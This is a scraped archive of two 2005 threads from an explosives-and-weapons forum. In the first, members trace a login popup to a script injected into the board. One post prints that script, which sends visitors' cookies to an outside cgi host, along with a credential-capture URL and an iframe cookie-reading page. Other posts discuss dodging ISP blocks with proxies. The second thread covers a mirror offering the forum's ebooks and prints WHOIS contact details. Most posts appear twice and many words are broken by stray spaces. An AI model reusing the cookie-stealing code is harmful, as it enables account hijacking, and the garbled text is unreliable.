mature I think before I act.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Strange experience logging in
Log in
View Full Version : Strange experience logging in
Dave Angel July 20th, 2005, 11:10 AM

I was asked to log in which I thought was strange as I had 'remember me' set.
When I typed in the details (actually hesitating to check the URL was right) and clicked 'log in' a box popped up and, whilst
I'm not sure of the exact contents (didn't think fast enough to hit print screen) it had some sort of URL with my username,
password and cgi.bin as part of it.
I changed my password immediately just in case (not sure if that will even help though), but I've no idea what this was as I've
never seen it before.
Has anyone else had this happen? Any ideas what it is?
I'm a little concerned about logging into anything else via my computer now...
Dave Angel July 20th, 2005, 11:10 AM

I was asked to log in which I thought was strange as I had 'remember me' set.
When I typed in the details (actually hesitating to check the URL was right) and clicked 'log in' a box popped up and, whilst
I'm not sure of the exact contents (didn't think fast enough to hit print screen) it had some sort of URL with my username,
password and cgi.bin as part of it.
I changed my password immediately just in case (not sure if that will even help though), but I've no idea what this was as I've
never seen it before.
Has anyone else had this happen? Any ideas what it is?
I'm a little concerned about logging into anything else via my computer now...

Have you changed your browser settings or browser recently?
Firefox and IE both warn about submitted information to an unencrypted website being readable in transit. It might be a
javascript exploit, or some other suspect trick.
Did the URL work ok? If so (since you are posting it would seem so) then it's possible a really badly written bit of spyware sent
your details elsewhere.
Without a screenshot, it's not possible to say.

Have you changed your browser settings or browser recently?
Firefox and IE both warn about submitted information to an unencrypted website being readable in transit. It might be a
javascript exploit, or some other suspect trick.
Did the URL work ok? If so (since you are posting it would seem so) then it's possible a really badly written bit of spyware sent
your details elsewhere.
Without a screenshot, it's not possible to say.

The only thing I did recently was clear my history in IE, nothing more.
I know, it's a shame I didn't get a screen shot; I was somewhat eager to get into my account to change the password and I
just hit the [x] and carried on. When I had closed the strange message box, I found that I wasn't actually logged in so I tried
again and it went just fine using the same URL.
Just to be on the safe side I'm not going to log into anything else. I'm going to switch to a different computer and format this
one.
[EDIT]
I got a screenshot of it!
I tried clicking on Jack's thread on the lack of discussion and instead of displaying the thread it asked me to log in (despite
me already being logged in).
I remember that it was doing exactly that which triggered the original popup! Clicking on other threads doesn't trigger it.
I've asked a friend to try clicking on it too and he gets the same thing when he types something into the username and
password fields. It spits it back at you in this form:
http://m.dynu.net/0p/cgi-bin/x.cgi?Dave Angel:password
I can't seem to attach files with edit mode but all the pertinent information is there. My friend seems to think it's not a
password catcher but some sort of error on the board - especially as it happens at his end too and during no other logins on
the web. I think I'll abort my formatting plan, for now.
I'm sure the more computer literate will be able to point out exactly what is going on.

The only thing I did recently was clear my history in IE, nothing more.
I know, it's a shame I didn't get a screen shot; I was somewhat eager to get into my account to change the password and I
just hit the [x] and carried on. When I had closed the strange message box, I found that I wasn't actually logged in so I tried
again and it went just fine using the same URL.
Just to be on the safe side I'm not going to log into anything else. I'm going to switch to a different computer and format this
one.
[EDIT]
I got a screenshot of it!
I tried clicking on Jack's thread on the lack of discussion and instead of displaying the thread it asked me to log in (despite
me already being logged in).
I remember that it was doing exactly that which triggered the original popup! Clicking on other threads doesn't trigger it.
I've asked a friend to try clicking on it too and he gets the same thing when he types something into the username and
password fields. It spits it back at you in this form:
http://m.dynu.net/0p/cgi-bin/x.cgi?Dave Angel:password
I can't seem to attach files with edit mode but all the pertinent information is there. My friend seems to think it's not a
password catcher but some sort of error on the board - especially as it happens at his end too and during no other logins on
the web. I think I'll abort my formatting plan, for now.
I'm sure the more computer literate will be able to point out exactly what is going on.
Sylla July 20th, 2005, 12:21 PM

I just had the same thing at 15h04 GMT.
I took a screenshot and it shows nothing but my password so I won't save it.
I have the link, it is :
http://m.dynu.net/0p/cgi-bin/x.cgi?username:password
I don't like that, it sounds like somebody has hacked roguesci...
I've immediately changed my password using the "lost password" function so no hook would steal it.
I've tried to login again and my firewall reports no link to this website anymore.
This is quite strange. If the webmaster wants help to analyse the http log I can help. We have to find how that sucker got
inside the forum to patch it before somebody does anything nasty.
Be aware and think twice before entering your password !
+++++++++
You do NOT have to post the same thing THREE times! If this wasn't qeued for approval, you'd be out for post whoring.
NBK
Sylla July 20th, 2005, 12:21 PM

I just had the same thing at 15h04 GMT.
I took a screenshot and it shows nothing but my password so I won't save it.
I have the link, it is :
http://m.dynu.net/0p/cgi-bin/x.cgi?username:password
I don't like that, it sounds like somebody has hacked roguesci...
I've immediately changed my password using the "lost password" function so no hook would steal it.
I've tried to login again and my firewall reports no link to this website anymore.
This is quite strange. If the webmaster wants help to analyse the http log I can help. We have to find how that sucker got
inside the forum to patch it before somebody does anything nasty.
Be aware and think twice before entering your password !
+++++++++
You do NOT have to post the same thing THREE times! If this wasn't qeued for approval, you'd be out for post whoring.
NBK
Boomer July 20th, 2005, 02:46 PM

I know next to nothing about computers, but erasing your browsing history could have erased the cookie that enables
automatic log-in (the 'remember me' thingie).
Had the same problem once.
Boomer July 20th, 2005, 02:46 PM

I know next to nothing about computers, but erasing your browsing history could have erased the cookie that enables
automatic log-in (the 'remember me' thingie).
Had the same problem once.
K9 July 20th, 2005, 03:08 PM

I had the same thing happen today. Hope it's nothing major
K9 July 20th, 2005, 03:08 PM

I had the same thing happen today. Hope it's nothing major
megalomania July 23rd, 2005, 11:40 AM

Take a look at the higher directory: http://snow.prohosting.com/0p/cgi-bin/
Some asshole is definately trying to fuck with us! There is an IE expliot and a cgi file that names roguesci. Something fishy
going on there :(
megalomania July 23rd, 2005, 11:40 AM

Take a look at the higher directory: http://snow.prohosting.com/0p/cgi-bin/
Some asshole is definately trying to fuck with us! There is an IE expliot and a cgi file that names roguesci. Something fishy
going on there :(
nbk2000 July 23rd, 2005, 12:55 PM

I've been logging in and seeing the message in the upper corner that says "You last visited:" showing a date when I was NOT
here!
I don't know what that's all about.
nbk2000 July 23rd, 2005, 12:55 PM

I've been logging in and seeing the message in the upper corner that says "You last visited:" showing a date when I was NOT
here!
I don't know what that's all about.
Jacks Complete July 23rd, 2005, 06:40 PM

Someone has just done something that means there are now " (quotes) all over the place.
I spotted this error, too:
Warning: Unknown(http://www.freepgs.com/s-labs/rs.php): failed to open stream: HTTP request failed! in /includes/

functions.php(2058) : eval()'d code on line 1
Now, that's not the right host, so someone is doing something that cross-links to another site, I think. I'm running with
Javascript completely off, but if it is server side, it will get everything anyway! However, the inserted code is:
<script src=http://m.dynu.net/0p/rs.js></script>
That script is returned as:
var a = "http://free.prohosting.com/0p/cgi-bin/roguesci.cgi?" + document.cookie;

image1 = new Image();
image1.src = a;
It looks like something to harvest IPs rather than passwords?
The file "cookie.html" reads:
<iframe name="iframe1" src="http://www.freepgs.com/s-labs/forums/vbulletin/" align="top" height="100" width="400"

hspace="10" vspace="10">Your browser does not support iframes!</iframe>
<script>
function ShowCookie()
{
alert(window.frames['iframe1'].document.cookie);
}
setTimeout("ShowCookie()",2000);
</script>
A visit to the freepgs.com URL returns a blank page, and the trace routes for freepgs.com goes towards Washington, whilst the
rs server go towards Dallas. Possible our idiot friends at iDickFenceWithMyGayBuddies are up to something again?
Edit: http://www.freepgs.com/s-labs/forums/vbulletin/ is a bulletin board?!? 2 members, no posts... Possible mis-direction?

Someone has just done something that means there are now " (quotes) all over the place.
I spotted this error, too:
Warning: Unknown(http://www.freepgs.com/s-labs/rs.php): failed to open stream: HTTP request failed! in /includes/

functions.php(2058) : eval()'d code on line 1
Now, that's not the right host, so someone is doing something that cross-links to another site, I think. I'm running with
Javascript completely off, but if it is server side, it will get everything anyway! However, the inserted code is:
<script src=http://m.dynu.net/0p/rs.js></script>
That script is returned as:
var a = "http://free.prohosting.com/0p/cgi-bin/roguesci.cgi?" + document.cookie;

image1 = new Image();
image1.src = a;
It looks like something to harvest IPs rather than passwords?
The file "cookie.html" reads:
<iframe name="iframe1" src="http://www.freepgs.com/s-labs/forums/vbulletin/" align="top" height="100" width="400"

hspace="10" vspace="10">Your browser does not support iframes!</iframe>
<script>
function ShowCookie()
{
alert(window.frames['iframe1'].document.cookie);
}
setTimeout("ShowCookie()",2000);
</script>
A visit to the freepgs.com URL returns a blank page, and the trace routes for freepgs.com goes towards Washington, whilst the
rs server go towards Dallas. Possible our idiot friends at iDickFenceWithMyGayBuddies are up to something again?
Edit: http://www.freepgs.com/s-labs/forums/vbulletin/ is a bulletin board?!? 2 members, no posts... Possible mis-direction?

The roguesci.cgi file looks like it tries to serve an advertisment. Is their nothing more foul and cruel than the spammers trying
to associate us with advertisments? Perhaps the spammers union decided we are the oldest ad free site on cyberspace and
they can't stand it.
I wonder if someone is trying to build a website that gives the appearance of being an official Rogue Science page to lure the
unwary? They do this a lot with ebay and the like.

The roguesci.cgi file looks like it tries to serve an advertisment. Is their nothing more foul and cruel than the spammers trying
to associate us with advertisments? Perhaps the spammers union decided we are the oldest ad free site on cyberspace and
they can't stand it.
I wonder if someone is trying to build a website that gives the appearance of being an official Rogue Science page to lure the
unwary? They do this a lot with ebay and the like.

Of course, a small tracking web bug that records the IP and time of any and all page accesses would be a bad thing to be sent
to the police/FBI and newspapers... Kick up a stink an who knows what might happen?
After all, the UK police just shot a man in the head five times at very close range, while he was on the floor. He wore a puffer
jacket, and tried to get on the tube... He wasn't even darkly tanned. From there, I can see Tomahawk missiles being used
against forum members, as "suspected associated of suspected terrorists"!
The main risk is, if someone has got a way into the admin side of things (access to the server) they could log IPs, or add
malicious javascript, change posts, and even infect some machines with trojans or spyware.
Of course, a small tracking web bug that records the IP and time of any and all page accesses would be a bad thing to be sent
to the police/FBI and newspapers... Kick up a stink an who knows what might happen?
After all, the UK police just shot a man in the head five times at very close range, while he was on the floor. He wore a puffer
jacket, and tried to get on the tube... He wasn't even darkly tanned. From there, I can see Tomahawk missiles being used
against forum members, as "suspected associated of suspected terrorists"!
The main risk is, if someone has got a way into the admin side of things (access to the server) they could log IPs, or add
malicious javascript, change posts, and even infect some machines with trojans or spyware.
Third_Rail August 12th, 2005, 01:56 AM

Fantastic. I wonder if this is going to be yet another problem?
Better not cost me more of my time.
Skean Dhu August 26th, 2005, 06:44 PM

I think I found another bug:
I was making a post in the PETN thread and went to 'preview post' but the board wanted me to log in, I was already logged in,
confirmed by the logged in status in the upper right corner. So as I try to log in figuring my connection must have timed out or
some such, I was then greeted with a message saying I wasn't authorized to access this page. I finally gave up and just
posted. Then when I came here to make this post when I clicked the post reply button I was told I wasn't authorized to view
this page, after going back and trying again I hit another log in request form, this was only 10-20(tops) minutes after I logged
on to the site and made my post in the PETN thread.
on a side note is there a way to set the 'remeber me' check box's default to be unchecked rather than check? just a
preference so someone dosne't stumble onto my account unwittingly.
TheHitMan August 27th, 2005, 12:31 AM

It works, it works! Ha Ha! :D
FUTI August 27th, 2005, 04:45 PM

I maybe paranoid but if someone scoop IPs and set bugs to force us to keep logging all the time now and then he might be
trying to do some kind of analysis that should pinpoint our identity through monitoring IPs, people that have access to certain
computers inside office or leave a trail at ISP through modem connection, montoring cameras inside cyber-caffes ect. Some
computers just wont let me to this site particularly if I use IE which is good since the crap inside is planted to be IE security
hole.

I noticed when activley logging out(as opposed to just closing the window) The site first takes me to a page saying log out
succesful and 'all cookies have been cleared' along with giving me the oppourtunity to go back to the page I was viewing or
back to the main index. Contrary to what it says the upper right bar still welcomes me as Skean Dhu, implying I am in fact still
logged in. Upon clicking the log off button a second time my account is actually logged off.
What gives?
Chris The Great September 4th, 2005, 03:47 AM

Looks like some people are having some trouble actually logging in. I was contact by simply RED, and apparently neither he,
me234 and Joeychemist can log in at all, for them the login button simply does not respond.
Seems like from our locations it is impossible to login. You write your username and password, click "log in" but the button
does not work. Actually all "grey" buttons (look like login) do not work.
Hopefully this is something easily fixed.
This problem could be very widespread, and could be why we are currently getting one post every couple days.
Boneless September 4th, 2005, 02:13 PM

I had same problem when I try logged in so I change browser.No problems any more.
Davo September 5th, 2005, 11:44 AM

I did have this problem for a long time where the forum recognised me as "Davo". I could post easily without having to log in
again but when I went to check user CP or send private messages to other users it asked me to log in. At the time I logged
back in and haven't had the problem since. - note I'm using firefox not IE, that may have something to do with it, may simply
be cookies being erased.
Child-of-Bodom September 5th, 2005, 05:58 PM

Yup, it has to do with Idiot Explorer, I just started it up for a laugh, and indeed, it doesn't allow me to login...
Another reason to use a real browser, Firefox DOES work properly, I just logged out and logged back in, no problemo...
Chris The Great September 5th, 2005, 08:12 PM

I just tried the same test, with exactly the same results. So, those you using IE might have to switch to firefox to get access to
the forum.
Is this some giant 'get firefox' conspiracy? ;)
TreverSlyFox September 8th, 2005, 03:29 AM

Thanks for the hint that it was Win IE screwing things up. I've been trying to log in for 3 days. Everything seemed fine, the log
in button would depress, but it did NOTHING.
Downloaded Firefox, logged in, all is fine now. :)
angelo September 17th, 2005, 09:44 PM

Problem fixed. Internet Explorer users should not have a problem anymore.
Bert September 18th, 2005, 12:46 PM

Nearly 2 months of not being able to post are apparently over...
Thank you for fixing that.
meselfs September 19th, 2005, 03:53 PM

Same here.
Um, I posted this message yesterday and now it's gone. I don't think it was deleted, NBK edits & warns but he doesn't delete
unless asked to.
I hope this time my message shows up.
I'm using Idiot Explorer, not because I like it but because I'm on my home PC, which is actaully my dad's PC, and you know
how it goes... In about a week I'll be posting from college, using FF.
As idiotic as IE is, I think all these bugs really got to be cleared up. We're losing members like there's no tommorow, and
that's partly because of bugs, and the outage earlier this year.
I think it may be worth it getting someone who's talented with VBB to fix this site up, it seems that Mega doesn't have the
time. And fix the FTP also.
Anyone know anyone?
Edit: and quick reply is all that works. And sometimes it doesn't: I can post in the victorinox thread.
nbk2000 September 22nd, 2005, 01:05 PM

This is the first time I've been able to log in in a while, so I didn't delete your post. Most likely it got lost by the board.
simply RED October 1st, 2005, 11:47 AM

This is the first time I log in for three months.
Hope problems are fixed and ENW going back to normal :) .
From Varna it was absolutely impossible to log in - no matter what explorer you use.
I tried Idiot Explorer and Fire Fox with no resault.
Even worse, some providers have filtered the adress and only 404 was observed when trying from them .
nbk2000 October 1st, 2005, 03:40 PM

I read that the german government is filtering out "bomb" sites, thus germans may be having trouble accessing us as well.
Wouldn't surprise if the whole E.U. starts blocking us...don't want to frighten the sheep now, would we? :p
Dave Angel October 5th, 2005, 08:33 PM

I haven't even been able to access the site in months: keep getting 403 Forbidden errors. I've no idea why but I decided to
try and proxy in and mention it. Is it an admin decision or has the UK decided to block my access to this site? :confused:
zeocrash October 6th, 2005, 04:33 PM

I got 403 errors when i tried to log onto the site from btinternet, but now i'm at uni on the university network it works fine
Jacks Complete October 10th, 2005, 04:38 PM

I got 403 errors when i tried to log onto the site from btinternet, but now i'm at uni on the university network it works fine
This should be mirrored into the other thread "Forum being censored?".
BT are one of the big providers in the UK.
Is there any way that we could set it so the Googlebot's can see this thread? That way, at least the cache copy would let people
know that the forum is up, but the IP is blocked.
Oh, and that code injection thing is still living at dynu.net - someone with admin rights really should get the code edited out so
that link isn't there any more.
FUTI October 10th, 2005, 06:48 PM

I never tried to use Google cashe to read a forum or to check is it online, but it seems like a good idea that will be hard to
beat - sure close the Google and you will be hated by billions (and then even NBK2000 will anvy you:D). I see only one
problem, those guys that can't see forum as usual anymore can't take part in discussions here whether they see the posts or
not...maybe that is the real cause of lower post rate than expected for the while now. I think maybe we can try to make an
emergency e_mail to which post could be sent via regular e_mail service - we only have to implement a sorting procedure for
those posts something like numbering (I have an enzyme E.C. convention system in mind when I post this).

I wasn't talking about shutting Google out of the forum, but letting it see a certain thread or two, about how the forum is
selectively blocked.
It might be worth stating that RogueSci has not been shut down, in this thread, for when people see this in the Gcache, after
searching for "RogueSci shutdown".
To do this easily, it might be worth moving the aforementioned threads to the Watercooler or somewhere else Google spiders
freely. (Oh, ok, this is in the watercooler already!)
Edit: Oh, and that script thing at dynu.net is a dynamic DNS server, that points your name to an IP that you choose. It is using
the iFrame vulnerability of this board, quite possibly to harvest all the passwords and usernames of everyone. Someone either
needs to update the forum software to remove the vulnerability, or they need to edit that include out by hand. Search in
Google, and there is plenty about the iFrame weakness. http://www.eweek.com/article2/0,3959,637184,00.asp for instance.
Note that it only affects IE, and so the current issues with a lack of IE support might be strangely fortunate!

Jack I didn't say you wrote about closing Google - it was just a loud thinking about what would iDickOnThe Fence think up as
their next action to counter it. Maybe we should give them that idea - to start campain which should have as result shuting
down of Google search service as main means of proliferation of E&W related material:D. Then the rest of web comunity would
come to our forum to learn "how to eliminate the iDiots in shortest time span";).
Jacks Complete October 12th, 2005, 05:06 AM

Then the rest of web comunity would come to our forum to learn "how to eliminate the iDiots in shortest time span";).
If a single :) was allowed, I'd post it. :)
What we could all do, is put up a little page somewhere on the internet, as a signpost. I'll put it in the other thread too.
Basically, grab a free web host, and put up a single page saying that the Explosives and Weapons Forum at www.roguesci.org
is still alive and well, but being censored, and a basic note about using a proxy server to get around the ban.
If even three of us do this, I think we will see an improvement in traffic.
Dave Angel October 16th, 2005, 05:12 PM

zeo: Thanks; my ISP is BT, which may help to explain my situation. I also asked a good friend of mine to check his access to
the site (also through BT) and he gets the same error. As you happened to mention that your university connection is
unhindered, I checked that out and I too could get through. I don't intend to make a habit of it though, as it's difficult to find
terminals that don't require a log-in and I don't fancy having my university username connected with The Forum!
My friend also reports that Telewest (iirc) give a 403 for roguesci, so I had a look at the Ofcom report for 2004 and the market
share of UK broadband is as follows:
BT 24%
NTL 20%
AOL ~13%
Telewest 11%
Wanaoo ~9%
Tiscali ~5%
Other 18%
The approximations are there because the crappy bar graph used doesn't show some of the figures but you get the idea: over
a third of the UK's broadband users are having their internet censored, and I wouldn't be surprised if it is the case with all the
major providers.
If you don't mind drawing attention to yourself (something we can ill-afford) you could possibly challenge your ISP on this
matter but, for example, BT's Acceptable Use Policy prohibits one from using their service for illegal activities. Accessing this
site is possibly seen as illegal in the UK, given that it is "an offence to collect or have information likely to be useful to
someone preparing an act of terrorism", according to section 58 of the Terrorism Act 2000. I guess browser caching counts as
'collecting', never mind actively saving the odd forum post! I would argue that the information is not likely to be useful to a
terrorist, as you possess it and not the terrorist - otherwise you might as well be arrested for buying a map of London! I'd also
argue that merely accessing the site, yet not those sections related to E&W, does not constitute a crime.
One could rant/argue on and on but regardless, BT doesn't need to go through the courts to 'confirm' that any kind of access
is illegal, and that blocking access to the site is the 'right thing' to do. And it would be hard to convince anyone in the general
populace otherwise - a fact of which most of us are acutely aware.
As for Google cache, that's how I checked the forum was still alive. I don't recall exactly how I did it but it was probably just a
search for a recent posting date and then view cache.
JC: I like the idea of pointing some freehosts at roguesci, and there's nothing to stop three of us doing it three times! My
html capabilities aren't really all that great but I can probably throw some sort of notepad html thing together with a rough
guide to proxies and how to use them with IE and Firefox (the two browsers I am familiar with). I'm no authority on such
matters though so I'm perhaps not the best person to prepare the page (though I'm happy to do it, I'd rather take an
accurately written one and help to put it up multiple times). Also, I know there is nothing to stop the proxy from looking at
what websites you are browsing but is it not possible for them to 'read' your username and password as you log-in, or are they
encrypted at your end before sending? This concerns me every time I log into The Forum via a proxy to search or post (and
somewhat deters me from doing so). You seem to know a bit about the workings of these things JC; any ideas/advice?
Meanwhile, I wonder if the call centre staff of my potential new ISPs have any idea how to answer the question "Do you censor
the internet for your users?" On second thoughts, I probably ought not to have my voice recorded asking such a question...
what 'normal' citizen would?

Meanwhile, I wonder if the call centre staff of my potential new ISPs have any idea how to answer the question "Do you censor
the internet for your users?" On second thoughts, I probably ought not to have my voice recorded asking such a question...
what 'normal' citizen would?
At the moment? When getting on a train the wrong way can get you shot? Hmmm...
As regards the proxies reading your user/pass, well, yes, they can (and some are set up to do exactly that!) so you are at
some risk. Of course, any computer along the way can also read anythign you send or receive... As far as I know (I'm not an
admin) the user/pass are stored in an obscured way. The Pass is an MD5 (probably) rather than plain, and the username is
passed as the user registration number. Of course, this wouldn't stop anyone from copying the cookies and pretending.
An SSL login would be no use, since once on the other side, the proxy would still be able to see your cookies and steal your
sessions.
The only way would be to SSL the entire site, and that takes more CPU, which costs more money. And then most proxies won't
let you run SSL through them.
To sum up, your password is safe, but the MD5 of it isn't.
As regards some "roguesci status mirrors", geocites, yahoo, and many more would all be good. As long as you avoid too many
naughty keywords, or getting a million visitors, it should be fine.
me234 October 27th, 2005, 02:18 AM

Does anybody have a possible explanation as to why I can now always log in properly (never used to be able to, even before
the recent happenings, but before then I could always post), but I can only very rarely post.
And when I CAN post, I can only post in some threads and not others.
I haven't been able to post in the Wiki thread for a long time now, and I would like to, I mean REALLY like to. I was however
recently able to post a crappy 3 line post in another thread a few minutes ago, but not in the WIki thread straight after that.
WTF is going on?
Any WAG will do at this point (Wild-Assed-Guess).
nbk2000 October 28th, 2005, 05:35 PM

Problems with the board software. Reasons I can't detail. It even affects admins, so we feel your pain.

Any WAG will do at this point (Wild-Assed-Guess).Could well be a random stop word. I've found that there are several common
words that stop this BB from posting a message, and it fails just with a cryptic message.
Try cutting your post down to half, then post. If this works, the stop word is in the other half. If it doesn't, paste and swap, and
post again. I found that one database command (select?) was doing it, and iirc locking, or something like it.
EDIT: Nope, neither of those! I looked one up - n_m_a_p

Try adding it to your post and seeing if it fails in the same way. :eek:
Chris The Great October 28th, 2005, 08:54 PM

Hmm, first try with just "nmap" says it's too short, so trying again.
nmap
nmap
nmap
EDIT: Does this mean I win? Weird though :confused:
me234 November 1st, 2005, 01:12 AM

You're right JC, I couldn't post a minute ago, so I followed your advice and posted one half first. Then I just edited and added
the other half.
Although when I clicked 'Edit' on my first post, made the changes then clicked 'Edit' again, it took me to a different screen,
which looked just like the normal posting screen, and I couldn't edit from there, nothing happened when I clicked on 'Save
Changes', so I went back to that first editing screen and clicked 'Save' there, and it worked.
Thanks man. I'm definitely doing this from now on.

I've also noticed that any pointless 3/4 line post I make seems to go through without a hitch, but as soon as I write anything
lengthy, I can never post.
NEWSFLASH! NEWSFLASH!
Your presenter for the night: Walter Cronkite
"New to the E&W: posting by installments.
Watch this space folks (and don't change the channel ya damned sheeple)"
See I just did it again. Yipee
me234 November 2nd, 2005, 01:59 AM

To post when you can login, but not post:
The main reason I can ascertain that posting is prevented, seems to be a simple matter of length. So next time you're having
difficulty posting, copy your reply to a 'Word' type document, and post just the first couple lines of it. The board should allow
you to post this short reply.
Now click on "Edit" and add a few lines to your post. Click on "Save" and the extra lines should be in you post when you see it.
Just keep on doing this until you have included everything you set out to include.
Now, if only I could work out how to post attachments...
P.S. Thanks to JC for inspiring this, if he hadn't mentioned key words being banned, I wouldn't have tried posting just one half
of a post first to see if it had any of those key words in it.
Jacks Complete November 3rd, 2005, 09:12 PM

It's a mystery. I had one post where I tracked it down to the word "Select", which is really odd, as it's a common word. You are
right, though, it seems to be long posts, mostly. I'll have to be more concise in future. :-)
EDIT: nmap!
Gamekeeper November 4th, 2005, 02:44 PM

test
The message you have entered is too short. Please lengthen your message to at least 20 characters.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > W ho started rogue science.org?
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View Full Version : Who started roguescience.org?
megalomania July 25th, 20 05, 04:2 2 AM

I just found an archive site of roguesci.org located at roguescien ce.org. Quite interesting... It seem s t o h a v e a d o w n l o a d a b l e
libra ry of many of the books from the FTP. I thought if that was ever going to be done I would end up doing it, and I have
b e e n d r a g g i n g m y he els on that for a few years.
So now all of you newbs looking to get some books check out http://www.roguescience.org/static/Ebooks.htm l
W ho m ade the site by the way? I'm not mad or anything, far from it. I ju st don't remem b e r a n y o n e h a v i n g t a l k e d a bout it
here.
megalomania July 25th, 20 05, 04:2 2 AM

I just found an archive site of roguesci.org located at roguescien ce.org. Quite interesting... It seem s t o h a v e a d o w n l o a d a b l e
libra ry of many of the books from the FTP. I thought if that was ever going to be done I would end up doing it, and I have
b e e n d r a g g i n g m y he els on that for a few years.
So now all of you newbs looking to get some books check out http://www.roguescience.org/static/Ebooks.htm l
W ho m ade the site by the way? I'm not mad or anything, far from it. I ju st don't remem b e r a n y o n e h a v i n g t a l k e d a bout it
here.
xyz July 25th, 20 05, 05:4 9 AM

http://www.roguescience.org/static/StartPage.html
T h e s i t e a p p e a r s t o h a v e b e e n p u b l i s h ed by so m e o n e g o i n g b y t h e n a m e R o c k h o u n d ( n o t a n a m e I recognise) who beleives

(or beleived at the time) that iDefense had shut us down for good.
xyz July 25th, 20 05, 05:4 9 AM

http://www.roguescience.org/static/StartPage.html
T h e s i t e a p p e a r s t o h a v e b e e n p u b l i s h ed by so m e o n e g o i n g b y t h e n a m e R o c k h o u n d ( n o t a n a m e I recognise) who beleives

(or beleived at the time) that iDefense had shut us down for good.
Valinomycin July 25th, 20 05, 12:2 5 PM

the site seems to be already down :(
while i was downloading some books the page was suddenly not avaylable...
Valinomycin July 25th, 20 05, 12:2 5 PM

the site seems to be already down :(
while i was downloading some books the page was suddenly not avaylable...
akinrog July 25th, 20 05, 12:3 0 PM

The whois info is below :
Dom ain ID:D105900928-LR O R
D o m ain Nam e : R O GUESCIENCE.O R G
Created On:16-Mar-2 005 18:32:45 UT C
Last Updated O n:25-Jul-2005 11:16:01 UTC
Expiration Date:16-Mar-2006 18:32:45 U T C
Sponsoring Registrar:Go Daddy Software, Inc. (R91-LRO R )
Status:OK
Registrant ID:GODA-010732231
Registrant Nam e:Host Master
Registrant Organization:NTEK
Registrant Street1:Aleksanterinkatu 17
Registrant Street2:
Registrant Street3:
Registrant City:Helsinki
Registrant State/Province:Uusimaa
Registrant Postal C o d e : 0 0 1 0 0
Registrant Country:FI
Registrant Phone:+358.409644184
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:hostmaster@ntek.tk
Adm in ID:GO D A - 2 1 0 7 3 2 2 3 1
Adm i n N a m e : H o s t M a s t e r
Adm in Organization:NTEK
Adm in Street1:Aleksanterinkatu 17
Adm in Street2:
Adm in Street3:
Adm in City:Helsinki
Adm in State/Province:Uusimaa
Adm i n P o s t a l C o d e : 0 0 1 0 0
Adm in Country:FI
Adm i n P h o n e : + 3 5 8 . 4 0 9 6 4 4 1 8 4
Adm in Phone Ext.:
Adm in FAX:
Adm in FAX Ext.:
Adm in Email:hostm aster@ntek.tk
Tech ID:GODA-11073 2231
Tech Nam e:Host Master
Tech O rganization:NT EK
Tech Street1:Aleksanterinkatu 17
Tech Street2:
Tech Street3:
Tech C ity:Helsinki
Tech State/Province:Uusim a a
Tech Postal Code:00100
Tech C ountry:FI
Tech Phone:+358.409644184
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Em ail:h ostm aster@ntek.tk
Nam e Server:NS1.SEDOPARKING.COM
HTH
BTW W hen I try to open the link it redirects som ewhere else stating that the dom a i n n a m e i s f o r s a l e .
akinrog July 25th, 20 05, 12:3 0 PM

The whois info is below :
Dom ain ID:D105900928-LR O R
D o m ain Nam e : R O GUESCIENCE.O R G
Created On:16-Mar-2 005 18:32:45 UT C
Last Updated O n:25-Jul-2005 11:16:01 UTC
Expiration Date:16-Mar-2006 18:32:45 U T C
Sponsoring Registrar:Go Daddy Software, Inc. (R91-LRO R )
Status:OK
Registrant ID:GODA-010732231
Registrant Nam e:Host Master
Registrant Organization:NTEK
Registrant Street1:Aleksanterinkatu 17
Registrant Street2:
Registrant Street3:
Registrant City:Helsinki
Registrant State/Province:Uusimaa
Registrant Postal C o d e : 0 0 1 0 0
Registrant Country:FI
Registrant Phone:+358.409644184
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:hostmaster@ntek.tk
Adm in ID:GO D A - 2 1 0 7 3 2 2 3 1
Adm i n N a m e : H o s t M a s t e r
Adm in Organization:NTEK
Adm in Street1:Aleksanterinkatu 17
Adm in Street2:
Adm in Street3:
Adm in City:Helsinki
Adm in State/Province:Uusimaa
Adm i n P o s t a l C o d e : 0 0 1 0 0
Adm in Country:FI
Adm i n P h o n e : + 3 5 8 . 4 0 9 6 4 4 1 8 4
Adm in Phone Ext.:
Adm in FAX:
Adm in FAX Ext.:
Adm in Email:hostm aster@ntek.tk
Tech ID:GODA-11073 2231
Tech Nam e:Host Master
Tech O rganization:NT EK
Tech Street1:Aleksanterinkatu 17
Tech Street2:
Tech Street3:
Tech C ity:Helsinki
Tech State/Province:Uusim a a
Tech Postal Code:00100
Tech C ountry:FI
Tech Phone:+358.409644184
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Em ail:h ostm aster@ntek.tk
HTH
BTW W hen I try to open the link it redirects som ewhere else stating that the dom a i n n a m e i s f o r s a l e .
sas July 25th, 20 05, 03:2 3 PM

S a m e for m e I cant g et it to work goes to that for sale site
sas July 25th, 20 05, 03:2 3 PM

S a m e for m e I cant g et it to work goes to that for sale site
mediumcaliber July 25th, 20 05, 10:3 1 PM
I looked it up myself and tried your lin k s . T h e s i t e s e e m s t o h a v e a l r e a d y been shut down! Meanwhile, I still can't g et filezilla
to work with the ftp.
mediumcaliber July 25th, 20 05, 10:3 1 PM

I looked it up myself and tried your lin k s . T h e s i t e s e e m s t o h a v e a l r e a d y been shut down! Meanwhile, I still can't g et filezilla
to work with the ftp.
Third_Rail July 26th, 20 05, 01:2 5 AM

Ditto. W onder what's up.
Third_Rail July 26th, 20 05, 01:2 5 AM

Ditto. W onder what's up.
senjoronie July 27th, 20 05, 02:0 7 AM

The site was taken down within the last day, then, because I downloaded a PDF about low-vulnerability explosives from it
Monday morning.
senjoronie July 27th, 20 05, 02:0 7 AM

The site was taken down within the last day, then, because I downloaded a PDF about low-vulnerability explosives from it
Monday morning.
DirtyD an July 28th, 20 05, 06:0 3 PM

It's back up now if an yones interested
DirtyD an July 28th, 20 05, 06:0 3 PM

It's back up now if an yones interested
Kamisama August 21st, 2005, 04:06 PM

W hen I first cam e to roguesci.org I tried out going to Roguescience.org
No one had it at the tim e. I thought about buying it up to be slick, but I didn't. Som eone did and their webdesign skills aren't
that great.
However, it's a nice collection of the stuff but very disorganized because I have to sort through it without cells in one of the
download sections.
Hit me up with a PM if you need som e help on it.

